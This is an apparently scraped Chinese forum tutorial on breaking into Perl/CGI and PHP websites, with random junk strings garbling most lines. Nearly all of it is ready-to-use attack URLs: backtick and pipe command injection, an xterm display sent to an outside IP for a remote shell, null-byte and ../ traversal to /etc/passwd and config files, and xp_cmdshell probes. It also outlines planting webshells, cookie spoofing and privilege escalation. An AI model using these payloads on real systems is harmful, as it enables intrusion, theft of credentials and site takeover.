总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
% Y7 l" d4 ~4 }* ~& h( Y b) j5 mcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 6 m/ ?4 V% c7 _8 h. \, F" c4 U
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 2 B" W$ D n7 L
注“
: H. e' H( e6 F4 {) Eperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 % `9 S) q. q7 D* V) Q% J
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
( X% }+ f) ^- W
0 C+ ~& O ~; y: b5 [8 F7 v; Jhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
- n; Q; E- m0 n: F4 h+ Yhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
6 E* } f# s; s+ ghttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 $ @% H6 P' u: n+ x0 Z S5 R* S
http://target.com/cgi-bin/home/news/sub.pl?`id`
8 Q5 D7 B+ R% }http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
0 k( a& K9 v: _: c ihttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
" {) j, K- g: h+ e5 n4 z+ \# i+ n b1 D+ y) }
http://target.com/test.pl;ls|
$ S6 Z5 m" l4 y4 X% S: F8 K( Shttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
' _! n! k) \6 F" q& hhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
- Z* C/ O+ O2 X7 {' _7 m1 N T5 }http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
5 W: O: L$ K) h& i( P; S$ x9 y比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 $ [7 [" F& O0 h; ^# d7 I7 Q7 ?) p" D
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 5 A4 g+ k5 ^* E/ _
# V0 m8 v* i& R
http://target.com/test.pl?&........ /../../etc/passwd j9 X) ^" C/ I5 ?3 h7 u; G
m( t; [- N8 p u' B( t
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ ( b. p0 M5 W0 w2 v: D
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
, u X1 w. l/ }: _2 F2 y, Xhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
3 n5 s7 }' R8 L8 U- f& P4 X+ x4 W2 J/ d4 k: e& V: K
http://www.target.org/show.php?f ... /include/config.php 查看php代码
7 N+ S. o. a: I1 Chttp://www.target.org/show.php?f ... ng/admin/global.php
$ ^& k. J* Z6 [6 G% B9 v: x1 o; ?. V: F9 r% A1 t* U, \
emm和ps的一句话
6 N2 T/ d, u6 R1 c' @, |# S/ k! e1 K* j6 k2 S1 [1 ~
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 6 `1 Z. f! E& D/ O) v
9 a M$ q& c! P" U" W' l3 M! H
>bbb%20| % [6 k H7 a+ O& d' t
# F1 d0 X' h7 M" q& s" @
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
5 r! e! j) k6 u! D+ S8 P. |% B5 F) A4 v1 W
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
* f) w8 [1 z$ s: m7 L7 phttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
" U# o D; I5 ^. N5 P; f0 @* ~# P/ n' e' i
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
$ j3 W8 p; n/ ~; c/ Uhttp://target.com/index.html#cmd.exe
6 l7 V- ^8 T4 L$ x+ t. thttp://target.com/index.html?dummyparam=xp_cmdshell
% A3 I: y" f. A% o3 ^9 \lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
# b+ J0 m+ v" `' t/ R! ? |